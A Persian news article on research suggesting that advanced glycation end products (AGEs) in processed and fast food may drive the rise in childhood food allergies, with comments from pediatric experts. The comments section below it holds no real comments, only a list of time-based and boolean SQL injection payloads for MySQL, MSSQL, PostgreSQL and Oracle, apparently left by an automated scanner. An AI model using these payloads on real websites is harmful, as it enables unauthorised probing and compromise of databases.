کریستوفر کرلی
محققین معتقدند که خوراکی‌های ناسالم حاوی ترکیباتی هستند که منجر به آلرژی غذایی می‌شود، اما یک عده از متخصصین می‌گویند دلایل متنوعی دیگری نیز وجود دارد.
مطالعات جدید نشان می‌دهد علاقه‌ی مردم به غذاهای پروسس شده ممکن است دلیل افزایش سریع و البته شدید آلرژی‌های غذایی در چند دهه‌ی گذشته باشد.
محققین دانشگاه نپال فدریکو با بررسی یک گروه از کودکان با رده‌ی سنی بین 6 تا 12 سال، متوجه شدند که کودکانی که آلرژی‌های غذایی داشتند، نسبت به کودکان بدون آلرژی یا با آلرژی تنفسی، سطوح بالاتری از ترکیبات مرتبط با غذاهای پروسس شده و فست فود در زیر پوست خود دارند.
آنچه در چنین غذاهایی مقصر اصلی شناخته می‌شود، محصولات با نمای نهایی گلیسیره‌ی پیشرفته یا AGEs نام دارد. گلیسیره به حالتی گفته می‌شود که مولکول‌های شکر تحت اثر گرما به پروتئین یا چربی می‌چسبند. این دقیقا آن چیزی است که به هنگام گریل کردن یک تکه استیک با سطح قهوه‌ای دلچسب یا سرخ کردن سیب‌زمینی در روغن رخ می‌دهد.
به عبارت دیگر، AGEs برای طعم و مزه بسیار عالی هستند اما لزوما همه آن‌ها سالم نیستند. غذاهای پروسس شده و آماده تمایل زیادی به داشتن سطوح بالاتر AGEs دارند.
طبق صحبت‌های دکتر روبرتو برنی کانانی، استادیار و متخصص اطفال در دانشگاه نپال که محقق اصلی این مقاله است، وجود سطوح بالاتر از AGEs بین کودکان با آلرژی‌های غذایی ممکن است یک "ارتباط گمشده" در مدل‌های موجود از آلرژی‌های غذایی را پیشنهاد دهد.
سایر متخصصین می‌گویند در حقیقت ممکن است این ارتباط وجود داشته باشد، اما فاکتورهای دیگری نیز دخیل هستند.
دکتر وندی سو سوانسون، متخصص اطفال در بیمارستان کودکان سیاتل و مدیر دارویی Before Brands به مجله خط سلامتی گفت: مطالعات قبلی این فرضیه را مطرح کرده‌اند که منابع غذایی AGEs که عموما در رژیم‌های غذایی غربی وجود دارد، ممکن است باعث افزایش شیوع آلرژی غذایی شود. اگرچه فاکتورهای مشارکتی دیگری نیز در افزایش این آلرژی وجود دارد، و بسیار مهم است که با تمام عوامل بالقوه‌ی آلرژی‌زای محیطی آشنا باشیم. غذاهای پروسس شده برای مثال ممکن است کمبود تنوع پروتئین‌ها را داشته باشند اما تحقیقات بیشتری برای درک درست و دقیق نقش AGEs در توسعه آلرژی‌های غذایی باید صورت بگیرد.
لینک منبع
نظرات (29)
Nu3fmSmM
1*
1*
1*
1*
-1 OR 2+455-455-1=0+0+0+1
-1 OR 3+455-455-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
uVkFgiWN'; waitfor delay '0:0:15' --
5ZqwmzdV'); waitfor delay '0:0:15' --
agaAAKRl')); waitfor delay '0:0:15' --
-5 OR 604=(SELECT 604 FROM PG_SLEEP(15))--
-5) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
-1)) OR 349=(SELECT 349 FROM PG_SLEEP(15))--
s06JM6BW' OR 901=(SELECT 901 FROM PG_SLEEP(15))--
yZErnfPs') OR 673=(SELECT 673 FROM PG_SLEEP(15))--
XzWppSlI')) OR 868=(SELECT 868 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%2527%2522
@@zmrRv